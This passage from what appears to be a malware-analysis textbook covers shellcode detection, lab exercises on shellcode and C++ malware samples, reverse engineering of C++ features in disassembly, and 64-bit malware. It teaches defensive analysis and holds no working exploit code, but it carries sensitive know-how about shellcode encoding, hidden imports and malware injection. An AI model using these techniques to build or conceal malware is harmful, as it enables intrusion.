Attempt to disassemble each instance of the opcodes listed in Table 19-2 
in the loaded file. Any valid code should be immediately obvious. Just 
remember that the payload is likely encoded, so only the decoder will be 
visible at first.

If none of those searches work, there may still be embedded shellcode, 
because some file formats allow for encoded embedded data. For example, 
exploits targeting the CVE-2010-0188 critical vulnerability in Adobe Reader 
use malformed TIFF images, embedded within PDFs, stored as a Base64-
encoded string, which may be zlib-compressed. When working with particu-
lar file formats, you will need to be familiar with that format and the kind of 
data it can contain in order to search for malicious content.

Conclusion

Shellcode authors must employ techniques to work around inherent limita-
tions of the odd runtime environment in which shellcode executes. This 
includes identifying where in memory the shellcode is executing and man-
ually resolving all of the shellcode’s external dependencies so that it can 
interact with the system. To save on space, these dependencies are usually 
obfuscated by using hash values instead of ASCII function names. It is also 
common for nearly the entire shellcode to be encoded so that it bypasses any 
data filtering by the targeted process. All of these techniques can easily frus-
trate beginning analysts, but the material in this chapter should help you rec-
ognize these common activities, so you can instead focus on understanding 
the main functionality of the shellcode.

Table 19-2: Some Opcode Bytes to Search For

Instruction type Common opcodes

Call 0xe8

Unconditional jumps 0xeb, 0xe9

Loops 0xe0, 0xe1, 0xe2

Short conditional jumps 0x70 through 0x7f
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L A B S
In these labs, we’ll use what we’ve covered in Chapter 19 to analyze samples 
inspired by real shellcode. Because a debugger cannot easily load and run 
shellcode directly, we’ll use a utility called shellcode_launcher.exe to dynamically 
analyze shellcode binaries. You’ll find instructions on how to use this utility 
in Chapter 19 and in the detailed analyses in Appendix C.

Lab 19-1

Analyze the file Lab19-01.bin using shellcode_launcher.exe. 

Questions

1. How is the shellcode encoded?

2. Which functions does the shellcode manually import?

3. What network host does the shellcode communicate with?

4. What filesystem residue does the shellcode leave?

5. What does the shellcode do?

Lab 19-2

The file Lab19-02.exe contains a piece of shellcode that will be injected into 
another process and run. Analyze this file.

Questions

1. What process is injected with the shellcode?

2. Where is the shellcode located?

3. How is the shellcode encoded?

4. Which functions does the shellcode manually import?

5. What network hosts does the shellcode communicate with?

6. What does the shellcode do?

Lab 19-3

Analyze the file Lab19-03.pdf. If you get stuck and can’t find the shellcode, 
just skip that part of the lab and analyze file Lab19-03_sc.bin using 
shellcode_launcher.exe.
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Questions

1. What exploit is used in this PDF?

2. How is the shellcode encoded?

3. Which functions does the shellcode manually import?

4. What filesystem residue does the shellcode leave?

5. What does the shellcode do?
426 Chapter 19



C + +  A N A L Y S I S

Malware analysis is conducted without access to source 
code, but the specific source language has a significant 
impact on the assembly. For example, C++ has several 
features and constructs that do not exist in C, and 
these can complicate analysis of the resulting assembly.

Malicious programs written in C++ create challenges for the malware 
analyst that make it harder to determine the purpose of assembly code. 
Understanding basic C++ features and how they appear in assembly lan-
guage is critical to analyzing malware written in C++.

Object-Oriented Programming

Unlike C, C++ is an object-oriented programming language, following a pro-
gramming model that uses objects that contain data as well as functions to 
manipulate the data. The functions in object-oriented programming are like 
functions in C programs, except that they are associated with a particular 
object or class of objects. Functions within a C++ class are often called methods 



to draw a distinction. Although many features of object-oriented program-
ming are irrelevant to malware analysis because they do not impact the 
assembly, a few can complicate analysis. 

NOTE To learn more about C++, consider reading Thinking in C++ by Bruce Eckel, avail-
able as a free download from http://www.mindviewinc.com/.

In object-orientation, code is arranged in user-defined data types called 
classes. Classes are like structs, except that they store function information in 
addition to data. Classes are like a blueprint for creating an object—one that 
specifies the functions and data layout for an object in memory. 

When executing object-oriented C++ code, you use the class to create an 
object of the class. This object is referred to as an instance of the class. You 
can have multiple instances of the same class. Each instance of a class has its 
own data, but all objects of the same type share the same functions. To access 
data or call a function, you must reference an object of that type. 

Listing 20-1 shows a simple C++ program with a class and a single object. 

class SimpleClass {
public:
      int x;
      void HelloWorld() {
            printf("Hello World\n");
      }
};

int _tmain(int argc, _TCHAR* argv[])
{
      SimpleClass myObject;
      myObject.HelloWorld();
}

Listing 20-1: A simple C++ class

In this example, the class is called SimpleClass. It has one data element, 
x, and a single function, HelloWorld. We create an instance of SimpleClass 
named myObject and call the HelloWorld function for that object. (The public 
keyword is a compiler-enforced abstraction mechanism with no impact on 
the assembly code.)

The this Pointer
As we have established, data and functions are associated with objects. In 
order to access a piece of data, you use the form ObjectName.variableName. 
Functions are called similarly with ObjectName.functionName. For example, in 
Listing 20-1, if we wanted to access the x variable, we would use myObject.x.
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In addition to accessing variables using the object name and the variable 
name, you can also access variables for the current object using only the vari-
able name. Listing 20-2 shows an example.

class SimpleClass {
public:
      int x;
      void HelloWorld() {
            if (x == 10) printf("X is 10.\n");
      }
      ...
};

int _tmain(int argc, _TCHAR* argv[])
{
      SimpleClass myObject;

myObject.x = 9;
myObject.HelloWorld();

      SimpleClass myOtherObject;
      myOtherOject.x = 10;
      myOtherObject.HelloWorld();
}

Listing 20-2: A C++ example with the this pointer 

In the HelloWorld function, the variable x is accessed as just x at , and 
not ObjectName.x. That same variable, which refers to the same address in 
memory, is accessed in the main method at  using myObject.x. 

Within the HelloWorld method, the variable can be accessed just as x 
because it is assumed to refer to the object that was used to call the func-
tion, which in the first case is myObject . Depending on which object is 
used to call the HelloWorld function, a different memory address storing the 
x variable will be accessed. For example, if the function were called with 
myOtherObject.HelloWorld, then an x reference at  would access a different 
memory location than when that is called with myObject.HelloWorld. The this 
pointer is used to keep track of which memory address to access when access-
ing the x variable. 

The this pointer is implied in every variable access within a function that 
doesn’t specify an object; it is an implied parameter to every object function 
call. Within Microsoft-generated assembly code, the this parameter is usually 
passed in the ECX register, although sometimes ESI is used instead. 

In Chapter 6, we covered the stdcall, cdecl, and fastcall calling conven-
tions. The C++ calling convention for the this pointer is often called thiscall. 
Identifying the thiscall convention can be one easy way to identify object-
oriented code when looking at disassembly. 
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The assembly in Listing 20-3, generated from Listing 20-2, demonstrates 
the usage of the this pointer.

;Main Function
00401100                 push    ebp
00401101                 mov     ebp, esp
00401103                 sub     esp, 1F0h
00401109 mov     [ebp+var_10], offset off_404768
00401110 mov     [ebp+var_C], 9
00401117 lea     ecx, [ebp+var_10]
0040111A                 call    sub_4115D0
0040111F                 mov     [ebp+var_34], offset off_404768
00401126                 mov     [ebp+var_30], 0Ah
0040112D lea     ecx, [ebp+var_34]
00401130                 call    sub_4115D0

;HelloWorld Function
004115D0                 push    ebp
004115D1                 mov     ebp, esp
004115D3                 sub     esp, 9Ch
004115D9                 push    ebx
004115DA                 push    esi
004115DB                 push    edi
004115DC                 mov   [ebp+var_4], ecx
004115DF                 mov   eax, [ebp+var_4]
004115E2                 cmp     dword ptr [eax+4], 0Ah
004115E6                 jnz     short loc_4115F6
004115E8                 push    offset aXIs10_  ; "X is 10.\n"
004115ED                 call    ds:__imp__printf

Listing 20-3: The this pointer shown in disassembly

The main method first allocates space on the stack. The beginning of 
the object is stored at var_10 on the stack at . The first data value stored in 
that object is the variable x, which is set at an offset of 4 from the beginning 
of the object. The value x is accessed at  and is labeled var_C by IDA Pro. 
IDA Pro can’t determine whether the values are both part of the same object, 
and it labels x as a separate value. The pointer to the object is then placed 
into ECX for the function call . Within the HelloWorld function, the value of 
ECX is retrieved and used as the this pointer . Then at an offset of 4, the 
code accesses the value for x . When the main function calls HelloWorld for 
the second time, it loads a different pointer into ECX.

Overloading and Mangling
C++ supports a coding construct known as method overloading, which is the 
ability to have multiple functions with the same name, but that accept differ-
ent parameters. When the function is called, the compiler determines which 
version of the function to use based on the number and types of parameters 
used in the call, as shown in Listing 20-4. 
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LoadFile (String filename) {
...
}
LoadFile (String filename, int Options) {
...
}

Main () {
      LoadFile ("c:\myfile.txt"); //Calls the first LoadFile function
      LoadFile ("c:\myfile.txt", GENERIC_READ); //Calls the second LoadFile
}

Listing 20-4: Function overloading example

As you can see in the listing, there are two LoadFile functions: one that 
takes only a string and another that takes a string and an integer. When the 
LoadFile function is called within the main method, the compiler selects the 
function to call based on the number of parameters supplied.

C++ uses a technique called name mangling to support method overload-
ing. In the PE file format, each function is labeled with only its name, and 
the function parameters are not specified in the compiled binary format. 

To support overloading, the names in the file format are modified so 
that the name information includes the parameter information. For example, 
if a function called TestFunction is part of the SimpleClass class and accepts 
two integers as parameters, the mangled name of that function would be 
?TestFunction@SimpleClass@@QAEXHH@Z. 

The algorithm for mangling the names is compiler-specific, but IDA Pro 
can demangle the names for most compilers. For example, Figure 20-1 shows 
the function TestFunction. IDA Pro demangles the function and shows the 
original name and parameters. 

Figure 20-1: IDA Pro listing of a demangled function name 

The internal function names are visible only if there are symbols in the 
code you are analyzing. Malware usually has the internal symbols removed; 
however, some imported or exported C++ functions with mangled names 
may be visible in IDA Pro. 
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Inheritance and Function Overriding
Inheritance is an object-oriented programming concept in which parent-child 
relationships are established between classes. Child classes inherit functions 
and data from parent classes. A child class automatically has all the functions 
and data of the parent class, and usually defines additional functions and 
data. For example, Listing 20-5 shows a class called Socket. 

class Socket {
...
public:
      void setDestinationAddr (INetAddr * addr) {
      ...
      }
      ...
};

class UDPSocket : publicSocket {
public:

void sendData (char * buf, INetAddr * addr) {
    setDestinationAddr(addr)

...
      }
      ...
};

Listing 20-5: Inheritance example

The Socket class has a function to set the destination address, but it has 
no function to sendData because it’s not a specific type of socket. A child class 
called UDPSocket can send data and implements the sendData function at , 
and it can also call the setDestinationAddr function defined in the Socket class.

In Listing 20-5, the sendData function at  can call the setDestinationAddr 
function at  even though that function is not defined in the UDPSocket class, 
because the functionality of the parent class is automatically included in the 
child class. 

Inheritance helps programmers more efficiently reuse code, but it’s a 
feature that does not require any runtime data structures and generally isn’t 
visible in assembly code. 

Virtual vs. Nonvirtual Functions

A virtual function is one that can be overridden by a subclass and whose exe-
cution is determined at runtime. If a function is defined within a parent class 
and a function with the same name is defined in a child class, the child class’s 
function overrides the parent’s function. 

Several popular programming models use this functionality in order to 
greatly simplify complex programming tasks. To illustrate why this is useful, 
return to the socket example in Listing 20-5. There, we have code that is 
going to sendData over the network, and we want it to be able to send data via 
TCP and UDP. One easy way to accomplish this is to create a parent class 
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called Socket with a virtual function called sendData. Then we have two chil-
dren classes called UDPSocket and TCPSocket, which override the sendData func-
tion to send the data over the appropriate protocol. 

In the code that uses the socket, we create an object of type Socket, 
and create whichever socket we are using in this instance. Each time we call 
the sendData function, the sendData function will be called from the proper 
subclass of Socket, whether UDPSocket or TCPSocket, based on which type of 
Socket object was originally created. 

The biggest advantage here is that if a new protocol—QDP, for example—
is invented, you simply create a new QDPSocket class, and then change the 
line of code where the object is created. Then all calls to sendData will call 
the new QDPSocket version of sendData without the need to change all the 
calls individually.

In the case of nonvirtual functions, the function to be executed is deter-
mined at compile time. If the object is an instance of the parent class, the 
parent class’s function will be called, even if the object at runtime belongs 
to the child class. When a virtual function is called on an object of the child 
class, the child class’s version of the function may be called, if the object is 
typed as an instance of the parent class. 

Table 20-1 shows a code snippet that will execute differently if the func-
tion is virtual or nonvirtual.

Table 20-1: Source Code Example for Virtual Functions

Non-virtual function Virtual function

class A {

public:
      void foo() {
            printf("Class A\n");
      }
};

class B : public A {
public:
      void foo() {
            printf("Class B\n");
      }
};

void g(A& arg) {
      arg.foo();
}

int _tmain(int argc, _TCHAR* argv[])
{
      B b;
      A a;
      g(b);
      return 0;
}

class A {
public:

virtual void foo() {
            printf("Class A\n");
      }
};

class B : public A {
public:

virtual void foo() {
            printf("Class B\n");
      }
};

void g(A& arg) {
arg.foo();

}

int _tmain(int argc, _TCHAR* argv[])
{
      B b;
      A a;
      g(b);
      return 0;
}
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The code contains two classes: class A and class B. The class B class 
overrides the foo method from class A. The code also contains a function 
to call the foo method from outside either class. If the function is not 
declared as virtual, it will print “Class A.” If it is declared as virtual, it will 
print “Class B.” The code on either side is identical except for the virtual 
keywords at  and .

In the case of nonvirtual functions, the determination of which function 
to call is made at compile time. In the two code samples in Listing 20-6, when 
this code is compiled, the object at  is of class A. While the object at  
could be a subclass of class A, at compile time, we know that it is an object of 
class A, and the foo function for class A is called. This is why the code on the 
left will print “Class A.”

In the case of virtual functions, the determination of which function to 
call is made at runtime. If a class A object is called at runtime, then the class 
A version of the function is called. If the object is of class B, then the class B 
function is called. This is why the code on the right will print “Class B.”

This functionality is often referred to as polymorphism. The biggest advan-
tage to polymorphism is that it allows objects that perform different function-
ality to share a common interface. 

Use of Vtables
The C++ compiler will add special data structures when it compiles code to 
support virtual functions. These data structures are called virtual function 
tables, or vtables. These tables are simply arrays of function pointers. Each 
class using virtual functions has its own vtable, and each virtual function in 
a class has an entry in the vtable.

Table 20-2 shows a disassembly of g function from the two code snippets 
in Table 20-1. On the left is the nonvirtual function call to foo, and on the 
right is the virtual call.

The source code change is small, but the assembly looks completely dif-
ferent. The function call on the left looks the same as the C functions that we 
have seen before. The virtual function call on the right looks different. The 
biggest difference is that we can’t see the destination for the call instruction, 
which can pose a big problem when analyzing disassembled C++, because we 
need to track down the target of the call instruction. 

Table 20-2: Assembly Code of the Example from Table 20-1

Non-virtual function call Virtual function call

00401000   push    ebp

00401001   mov     ebp, esp
00401003   mov     ecx, [ebp+arg_0]
00401006   call    sub_401030
0040100B   pop     ebp
0040100C   retn

00401000   push    ebp
00401001   mov     ebp, esp

00401003   mov eax, [ebp+arg_0]

00401006   mov  edx, [eax]

00401008   mov     ecx, [ebp+arg_0]
0040100B   mov     eax, [edx]
0040100D   call    eax
0040100F   pop     ebp
00401010   retn
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The argument for the g function is a reference, which can be used as a 
pointer, to an object of class A (or any subclass of class A). The assembly 
code accesses the pointer to the beginning of the object . The code then 
accesses the first 4 bytes of the object . 

Figure 20-2 shows how the virtual function is used in Table 20-2 to deter-
mine which code to call. The first 4 bytes of the object are a pointer to the 
vtable. The first 4-byte entry of the vtable is a pointer to the code for the first 
virtual function.

Figure 20-2: C++ object with a virtual function table (vtable)

To figure out which function is being called, you find where the vtable is 
being accessed, and you see which offset is being called. In Table 20-2, we see 
the first vtable entry being accessed. To find the code that is called, we must 
find the vtable in memory and then go to the first function in the list.

Nonvirtual functions do not appear in a vtable because there is no need 
for them. The target for nonvirtual function calls is fixed at compile time.

Recognizing a Vtable
In order to identify the call destination, we need to determine the type of 
object and locate the vtable. If you can spot the new operator for the construc-
tor (a concept described in the next section), you can typically discover the 
address of the vtable being accessed nearby. 

The vtable looks like an array of function pointers. For example, List-
ing 20-6 shows the vtable for a class with three virtual functions. When you 
see a vtable, only the first value in the table should have a cross-reference. 
The other elements of the table are accessed by their offset from the begin-
ning of the table, and there are no accesses directly to items within the table. 

NOTE In this example, the line labeled off_4020F0 is the beginning of the vtable, but don’t 
confuse this with switch offset tables, covered in Chapter 6. A switch offset table 
would have offsets to locations that are not subroutines, labeled loc_###### instead 
of sub_######. 

004020F0 off_4020F0      dd offset sub_4010A0
004020F4                 dd offset sub_4010C0
004020F8                 dd offset sub_4010E0

Listing 20-6: A vtable in IDA Pro

vtable

object data1

object data2

...

Object

Function 1

Function 2

...

Vtable Code

push ebp
mov ebp, esp
...
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You can recognize virtual functions by their cross-references. Virtual 
functions are not directly called by other parts of the code, and when you 
check cross-references for a virtual function, you should not see any calls to 
that function. For example, Figure 20-3 shows the cross-references for a vir-
tual function. Both cross-references are offsets to the function, and neither is 
a call instruction. Virtual functions almost always appear this way, whereas 
nonvirtual functions are typically referenced via a call instruction.

Figure 20-3: Cross-references for a virtual function

Once you have found a vtable and virtual functions, you can use that 
information to analyze them. When you identify a vtable, you instantly know 
that all functions within that table belong to the same class, and that func-
tions within the same class are somehow related. You can also use vtables to 
determine if class relationships exist. 

Listing 20-7, an expansion of Listing 20-6, includes vtables for two classes.

004020DC off_4020DC      dd offset sub_401100
004020E0                 dd offset sub_4010C0
004020E4 dd offset sub_4010E0
004020E8                 dd offset sub_401120
004020EC                 dd offset unk_402198
004020F0 off_4020F0      dd offset sub_4010A0
004020F4                 dd offset sub_4010C0
004020F8 dd offset sub_4010E0

Listing 20-7: Vtables for two different classes

Notice that the functions at  and  are the same, and that there are 
two cross-references for this function, as shown in Figure 20-3. The two cross-
references are from the two vtables that point to this function, which suggests 
an inheritance relationship. 

Remember that child classes automatically include all functions from a 
parent class, unless they override it. In Listing 20-7, sub_4010E0 at  and  is 
a function from the parent class that is also in the vtable for the child class, 
because it can also be called for the child class. 

You can’t always differentiate a child class from a parent class, but if one 
vtable is larger than the other, it is the subclass. In this example, the vtable at 
offset 4020F0 is the parent class, and the vtable at offset 4020DC is the child 
class because its vtable is larger. (Remember that child classes always have the 
same functions as the parent class and may have additional functions.)
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Creating and Destroying Objects

Two special functions for C++ classes are the constructor and destructor. When 
an object is created, the constructor is called. When an object is destroyed, 
the destructor is called. 

The constructor performs any initialization needed by the object. 
Objects can be created on the stack or stored on the heap. For objects 
created on the stack, there is no need to allocate specific memory for the 
object; the object will simply be stored on the stack along with other local 
variables. 

The destructor for objects is automatically called when the objects go out 
of scope. Sometimes this tends to complicate disassembly, because the com-
piler may need to add exception handling code in order to guarantee that 
object destructors are called.

For objects that are not stored on the stack, the memory is allocated with 
the new operator, which is a C++ keyword that creates heap space for a new 
object and calls the constructor. In disassembly, the new operator is usually an 
imported function that can be spotted easily. For example, Listing 20-8 shows 
the IDA Pro disassembly using the new operator implemented as an imported 
function. Since this is the new operator and not a regular function, it has an 
unusual function name. IDA Pro identifies the function properly as the new 
operator and labels it as such. Similarly, a delete operator is called when 
heap-allocated objects are to be freed. 

NOTE Object creation and deletion are key elements of the execution flow for a C++ program. 
Reverse-engineering these routines can usually provide key insight into the object layout 
and aid analysis in other member functions.

00401070  push    ebp
00401071  mov     ebp, esp
00401073  sub     esp, 1Ch
00401076  mov     [ebp+var_10],  offset off_4020F0
0040107D  mov     [ebp+var_10],  offset off_4020DC
00401084  mov     [ebp+var_4], offset off_4020F0
0040108B  push    4
0040108D  call    ??2@YAPAXI@Z    ; operator new(uint)

Listing 20-8: The new operator in disassembly

In Listing 20-8, we’re looking at an object stored on the stack. The offset 
moved into location var_10 is the vtable. The compiler here shows some 
strange behavior by putting different offsets into the same location twice in a 
row. The instruction at  is useless, because the second offset at  will over-
write what is stored at . 

If we were to look at the offsets for this code, we would see that they are 
the vtables for the two classes. The first offset is the vtable for the parent 
class, and the second offset is the vtable for the class of the object being 
created.
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Conclusion

In order to analyze malicious programs written in C++, you need to under-
stand C++ features and how they affect the assembly code. By understanding 
inheritance, vtables, the this pointer, and name mangling, you won’t be 
slowed down by C++ code, and you’ll be able to take advantage of any clues 
provided by the additional structure created by C++ classes.
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L A B S
Lab 20-1

The purpose of this first lab is to demonstrate the usage of the this pointer. 
Analyze the malware in Lab20-01.exe.

Questions

1. Does the function at 0x401040 take any parameters?

2. Which URL is used in the call to URLDownloadToFile?

3. What does this program do?

Lab 20-2

The purpose of this second lab is to demonstrate virtual functions. Analyze 
the malware in Lab20-02.exe. 

NOTE This program is not dangerous to your computer, but it will try to upload possibly sensi-
tive files from your machine. 

Questions

1. What can you learn from the interesting strings in this program?

2. What do the imports tell you about this program?

3. What is the purpose of the object created at 0x4011D9? Does it have any 
virtual functions?

4. Which functions could possibly be called by the call [edx] instruction at 
0x401349?

5. How could you easily set up the server that this malware expects in order 
to fully analyze the malware without connecting it to the Internet?

6. What is the purpose of this program?

7. What is the purpose of implementing a virtual function call in this 
program?

Lab 20-3

This third lab is a longer and more realistic piece of malware. This lab comes 
with a configuration file named config.dat that must be in the same directory 
as the lab in order to execute properly. Analyze the malware in Lab20-03.exe. 
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Questions

1. What can you learn from the interesting strings in this program?

2. What do the imports tell you about this program?

3. At 0x4036F0, there is a function call that takes the string Config error, 
followed a few instructions later by a call to CxxThrowException. Does the 
function take any parameters other than the string? Does the function 
return anything? What can you tell about this function from the context 
in which it’s used?

4. What do the six entries in the switch table at 0x4025C8 do?

5. What is the purpose of this program?
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6 4 - B I T  M A L W A R E

Almost all current malware is 32-bit, but some is writ-
ten for the 64-bit architecture in order to interact 
with 64-bit OSs. As 64-bit OSs become more popular, 
so will 64-bit malware.

Several 64-bit architectures have been introduced. The first to be sup-
ported by Windows, Itanium, was designed for performance computing and 
was not compatible with x86. AMD later introduced a 64-bit architecture 
called AMD64, which was compatible with x86 code. Intel adopted AMD64 
and called its implementation EM64T. This architecture is now known as 
x64, or x86-64, and it is the most popular implementation of 64-bit code on 
Windows. All current Windows versions are available in 64-bit versions, which 
support both 64-bit and 32-bit applications.

The x64 architecture was designed as an upgrade to x86, and the instruc-
tion sets are not drastically different. Because most instructions are unchanged 
from x86 to x64, when you open a 64-bit executable in IDA Pro, you should 
be familiar with most of the instructions. One of the biggest complications 



associated with 64-bit malware analysis is that not all tools support x64 assem-
bly. For example, as of this writing, OllyDbg does not support 64-bit applica-
tions, although WinDbg does. IDA Pro supports x64 assembly, but it requires 
the IDA Pro Advanced version.

This chapter addresses the differences between 32-bit and 64-bit systems, 
and provides a few hints to help analyze 64-bit code.

Why 64-Bit Malware?

Knowing that 32-bit malware can target both 32-bit and 64-bit machines, why 
would anyone bother to write 64-bit malware?

While you can run both 32-bit and 64-bit applications on the same system, 
you cannot run 32-bit code within 64-bit applications. When a processor is 
running 32-bit code, it is running in 32-bit mode, and you cannot run 64-bit 
code. Therefore, anytime malware needs to run inside the process space of a 
64-bit process, it must be 64-bit.

Here are a few examples of why malware might need to be compiled for 
the x64 architecture:

Kernel code
All kernel code for an OS is within a single memory space, and all kernel 
code running in a 64-bit OS must be 64-bit. Because rootkits often run 
within the kernel, rootkits that target 64-bit OSs must be compiled into 
64-bit machine code. Also, because antivirus and host-based security 
code often contain kernel elements, malware designed to interfere with 
these applications must be 64-bit, or at least have 64-bit components. 
Microsoft has made changes to the 64-bit versions of Windows that make 
it difficult to run malicious kernel code by detecting unauthorized modi-
fications to the kernel and restricting the Windows ability to load drivers 
that aren’t digitally signed. (These changes are covered in detail at the 
end of Chapter 10.)

Plug-ins and injected code
These must be 64-bit in order to run properly in a 64-bit process. For 
example, a malicious Internet Explorer plug-in or ActiveX control 
must be 64-bit if the computer is running the 64-bit version of Internet 
Explorer. Code injected using the techniques covered in Chapter 12 also 
runs within another process. If the target process is 64-bit, the injected 
code must also be 64-bit.

Shellcode
Shellcode is usually run as part of an exploit within the process that it 
is exploiting. In order to exploit a vulnerability in the 64-bit version of 
Internet Explorer, for example, a malware author would need to write 
64-bit shellcode. As more users run a mix of 64-bit and 32-bit applica-
tions, malware writers will need to write a separate version of shellcode 
for 32-bit and 64-bit victims.
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Differences in x64 Architecture

The following are the most important differences between Windows 64-bit 
and 32-bit architecture:

 All addresses and pointers are 64 bits.

 All general-purpose registers—including RAX, RBX, RCX, and so on—
have increased in size, although the 32-bit versions can still be accessed. 
For example, the RAX register is the 64-bit version of the EAX register.

 Some of the general-purpose registers (RDI, RSI, RBP, and RSP) have 
been extended to support byte accesses, by adding an L suffix to the 
16-bit version. For example, BP normally accesses the lower 16 bits of 
RBP; now, BPL accesses the lowest 8 bits of RBP.

 The special-purpose registers are 64-bits and have been renamed. For 
example, RIP is the 64-bit instruction pointer.

 There are twice as many general-purpose registers. The new registers 
are labeled R8 though R15. The DWORD (32-bit) versions of these registers 
can be accessed as R8D, R9D, and so on. WORD (16-bit) versions are 
accessed with a W suffix (R8W, R9W, and so on), and byte versions 
are accessed with an L suffix (R8L, R9L, and so on).

x64 also supports instruction pointer–relative data addressing. This is 
an important difference between x64 and x86 in relation to PIC and shell-
code. Specifically, in x86 assembly, anytime you want to access data at a 
location that is not an offset from a register, the instruction must store the 
entire address. This is called absolute addressing. But in x64 assembly, you 
can access data at a location that is an offset from the current instruction 
pointer. The x64 literature refers to this as RIP-relative addressing. Listing 21-1 
shows a simple C program that accesses a memory address.

int x;
void foo() {
      int y = x;
      ...
}

Listing 21-1: A simple C program with a data access

The x86 assembly code for Listing 21-1 references global data (the vari-
able x). In order to access this data, the instruction encodes the 4 bytes repre-
senting the data’s address. This instruction is not position independent, 
because it will always access address 0x00403374, but if this file were to be 
loaded at a different location, the instruction would need to be modified so 
that the mov instruction accessed the correct address, as shown in Listing 21-2.

00401004 A1 74 33 40 00 mov     eax, dword_403374

Listing 21-2: x86 assembly for the C program in Listing 21-1
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You’ll notice that the bytes of the address are stored with the instruction at 
, , , and . Remember that the bytes are stored with the least significant 
byte first. The bytes 74, 33, 40, and 00 correspond to the address 0x00403374.

After recompiling for x64, Listing 21-3 shows the same mov instruction 
that appears in Listing 21-2.

0000000140001058 8B 05 A2 D3 00 00 mov     eax, dword_14000E400

Listing 21-3: x64 assembly for Listing 21-1

At the assembly level, there doesn’t appear to be any change. The instruc-
tion is still mov eax, dword_address, and IDA Pro automatically calculates the 
instruction’s address. However, the differences at the opcode level allow this 
code to be position-independent on x64, but not x86.

In the 64-bit version of the code, the instruction bytes do not contain the 
fixed address of the data. The address of the data is 14000E400, but the instruction 
bytes are A2 , D3 , 00 , and 00 , which correspond to the value 0x0000D3A2.

The 64-bit instruction stores the address of the data as an offset from the 
current instruction pointer, rather than as an absolute address, as stored in the 
32-bit version. If this file were loaded at a different location, the instruction 
would still point to the correct address, unlike in the 32-bit version. In that 
case, if the file is loaded at a different address, the reference must be changed.

Instruction pointer–relative addressing is a powerful addition to the x64 
instruction set that significantly decreases the number of addresses that must 
be relocated when a DLL is loaded. Instruction pointer–relative addressing 
also makes it much easier to write shellcode because it eliminates the need to 
obtain a pointer to EIP in order to access data. Unfortunately, this addition 
also makes it more difficult to detect shellcode, because it eliminates the 
need for a call/pop as discussed in “Position-Independent Code” on page 408. 
Many of those common shellcode techniques are unnecessary or irrelevant 
when working with malware written to run on the x64 architecture.

Differences in the x64 Calling Convention and Stack Usage
The calling convention used by 64-bit Windows is closest to the 32-bit fastcall 
calling convention discussed in Chapter 6. The first four parameters of the 
call are passed in the RCX, RDX, R8, and R9 registers; additional ones are 
stored on the stack.

NOTE Most of the conventions and hints described in this section apply to compiler-generated 
code that runs on the Windows OS. There is no processor-enforced requirement to follow 
these conventions, but Microsoft’s guidelines for compilers specify certain rules in order 
to ensure consistency and stability. Beware, because hand-coded assembly and mali-
cious code may disregard these rules and do the unexpected. As usual, investigate any 
code that doesn’t follow the rules.

In the case of 32-bit code, stack space can be allocated and unallocated in 
the middle of the function using push and pop instructions. However, in 64-bit 
code, functions cannot allocate any space in the middle of the function, 
regardless of whether they’re push or other stack-manipulation instructions.
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Figure 21-1 compares the stack management of 32-bit and 64-bit code. 
Notice in the graph for a 32-bit function that the stack size grows as argu-
ments are pushed on the stack, and then falls when the stack is cleaned up. 
Stack space is allocated at the beginning of the function, and moves up and 
down during the function call. When calling a function, the stack size grows; 
when the function returns, the stack size returns to normal. In contrast, the 
graph for a 64-bit function shows that the stack grows at the start of the func-
tion and remains at that level until the end of the function.

Figure 21-1: Stack size in the same function compiled for 32-bit and 64-bit architectures

The 32-bit compiler will sometimes generate code that doesn’t change 
the stack size in the middle of the function, but 64-bit code never changes the 
stack size in the middle of the function. Although this stack restriction is not 
enforced by the processor, the Microsoft 64-bit exception-handling model 
depends on it in order to function properly. Functions that do not follow this 
convention may crash or cause other problems if an exception occurs.

The lack of push and pop instructions in the middle of a function can 
make it more difficult for an analyst to determine how many parameters a 
function has, because there is no easy way to tell whether a memory address 
is being used as a stack variable or as a parameter to a function. There’s also 
no way to tell whether a register is being used as a parameter. For example, if 
ECX is loaded with a value immediately before a function call, you can’t tell 
if the register is loaded as a parameter or for some other reason.

Listing 21-4 shows an example of the disassembly for a function call com-
piled for a 32-bit processor.

004113C0  mov     eax, [ebp+arg_0]
004113C3  push    eax
004113C4  mov     ecx, [ebp+arg_C]
004113C7  push    ecx
004113C8  mov     edx, [ebp+arg_8]
004113CB  push    edx
004113CC  mov     eax, [ebp+arg_4]
004113CF  push    eax
004113D0  push    offset aDDDD_  
004113D5  call    printf
004113DB  add     esp, 14h

Listing 21-4: Call to printf compiled for a 32-bit processor

32-bit Function 64-bit Function

St
ac

k 
Si

ze

St
ac

k 
Si

ze

Time Time
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The 32-bit assembly has five push instructions before the call to printf, 
and immediately after the call to printf, 0x14 is added to the stack to clean it 
up. This clearly indicates that there are five parameters being passed to the 
printf function.

Listing 21-5 shows the disassembly for the same function call compiled 
for a 64-bit processor:

0000000140002C96  mov     ecx, [rsp+38h+arg_0]
0000000140002C9A  mov     eax, [rsp+38h+arg_0]
0000000140002C9Emov     [rsp+38h+var_18], eax
0000000140002CA2  mov     r9d, [rsp+38h+arg_18]
0000000140002CA7  mov     r8d, [rsp+38h+arg_10]
0000000140002CAC  mov     edx, [rsp+38h+arg_8]
0000000140002CB0  lea     rcx, aDDDD_   
0000000140002CB7  call    cs:printf

Listing 21-5: Call to printf compiled for a 64-bit processor

In 64-bit disassembly, the number of parameters passed to printf is less 
evident. The pattern of load instructions in RCX, RDX, R8, and R9 appears 
to show parameters being moved into the registers for the printf function 
call, but the mov instruction at  is not as clear. IDA Pro labels this as a 
move into a local variable, but there is no clear way to distinguish between 
a move into a local variable and a parameter for the function being called. 
In this case, we can just check the format string to see how many parame-
ters are being passed, but in other cases, it will not be so easy.

Leaf and Nonleaf Functions

The 64-bit stack usage convention breaks functions into two categories: leaf 
and nonleaf functions. Any function that calls another function is called a 
nonleaf function, and all other functions are leaf functions.

Nonleaf functions are sometimes called frame functions because they 
require a stack frame. All nonleaf functions are required to allocate 0x20 
bytes of stack space when they call a function. This allows the function being 
called to save the register parameters (RCX, RDX, R8, and R9) in that space, 
if necessary.

In both leaf and nonleaf functions, the stack will be modified only at the 
beginning or end of the function. These portions that can modify the stack 
frame are discussed next.

Prologue and Epilogue 64-Bit Code

Windows 64-bit assembly code has well-formed sections at the beginning and 
end of functions called the prologue and epilogue, which can provide useful 
information. Any mov instructions at the beginning of a prologue are always 
used to store the parameters that were passed into the function. (The com-
piler cannot insert mov instructions that do anything else within the prologue.) 
Listing 21-6 shows an example of a prologue for a small function.
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00000001400010A0  mov     [rsp+arg_8], rdx
00000001400010A5  mov     [rsp+arg_0], ecx
00000001400010A9  push    rdi
